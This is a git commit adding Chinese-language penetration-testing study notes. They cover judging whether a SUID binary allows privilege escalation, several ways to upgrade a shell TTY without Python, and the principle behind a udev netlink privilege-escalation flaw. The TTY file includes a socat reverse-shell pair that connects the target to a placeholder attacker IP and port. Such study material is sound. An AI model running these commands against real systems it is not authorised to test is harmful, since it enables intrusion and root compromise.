提交说明

This commit is contained in:
duckpigdog
2026-03-11 10:31:47 +08:00
parent 85abd8cd1b
commit 9cc4502105
15 changed files with 640 additions and 448 deletions
+18
View File
@@ -0,0 +1,18 @@
### 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权
**1. 确认基本条件**
- 所有者是否为 root:使用 `ls -l` 查看文件所有者。只有 root 所有的 SUID 文件才有提权价值
- 当前用户是否可执行:检查文件权限中是否有 `x`(执行权),若无则无法利用
**2. 检查是否属于 GTFOBins 列表**
GTFOBins 是一个专门收录可被用于绕过安全限制的 Unix 二进制文件的社区项目
```bash
https://gtfobins.github.io/gtfobins/
```
**3. 检查调用**
结合 strings 快速查看可疑调用
+74
View File
@@ -0,0 +1,74 @@
### 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法
**方法一:使用 Script 命令**
大多数 Linux 发行版默认安装了 `script` 工具,可用于记录终端会话,同时生成一个完整的 TTY
```bash
script /dev/null -c bash
# 或
script -q /dev/null
```
- 原理:`script` 会创建一个新的伪终端(pty),并将当前 Shell 附加到该终端上
**方法二:使用 Socat**
如果目标有 `socat`,可以创建完整的双向交互式 Shell
在攻击机监听
```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
在目标机连接
```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
```
- **优点**:获得完整的伪终端,支持 Tab 补全、作业控制、信号处理
- **缺点**`socat` 并非默认安装,可能需要上传静态编译版本
**方法三:使用 Expect**
`expect` 常用于自动化交互式程序,也可以用来提升 TTY
```bash
expect -c 'spawn bash; interact'
```
- **原理**`spawn` 创建一个新的伪终端进程,`interact` 将控制权交给用户
- **前提**:需要目标安装 `expect`
**方法四:使用 Stty 手动配置**
即使没有额外工具,也可以通过 `stty` 命令手动恢复终端的基本功能:
```bash
# 在当前受限 Shell 中执行
stty raw -echo
# 按下 Ctrl+J(不是回车)重新连接
# 然后输入 reset 并按 Ctrl+J
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
```
步骤解析:
1. `stty raw -echo`:关闭终端的行缓冲和回显,使字符立即传递
2. `Ctrl+J`(即换行符)重新连接 Shell
3. `reset` 初始化终端状态
4. 设置环境变量和终端尺寸(可选)
**方法五:使用其他编程语言**
如果目标没有 Python 但有 Perl(很多系统默认安装)
```bash
perl -e 'use POSIX qw(setsid); print " spawn tty\n"; system("bash -i");'
```
+15
View File
@@ -0,0 +1,15 @@
### 请简述 udev 提权漏洞的基本原理
**udev** 是 Linux 内核的设备管理器,负责动态管理 `/dev` 目录下的设备节点
当内核检测到硬件事件(如插入 USB 设备)时,会通过 **netlink 套接字** 向用户空间的 udev 守护进程发送 **uevent**(设备事件)
udev 根据 `/etc/udev/rules.d/` 中的规则执行相应操作(如创建设备文件、加载驱动、运行自定义程序)
内核发送的 uevent 本质是一条包含环境变量(如 `ACTION=add``DEVPATH=...`)的字符串
udev 守护进程以 **root 权限** 运行,它接收并解析这些消息,然后根据规则执行操作
**问题在于**:netlink 套接字不仅允许内核向 udev 发送消息,**也允许用户空间的普通进程向 udev 发送伪造的 uevent**
发送伪造消息后,udev 以 root 权限处理该消息,执行攻击者控制的命令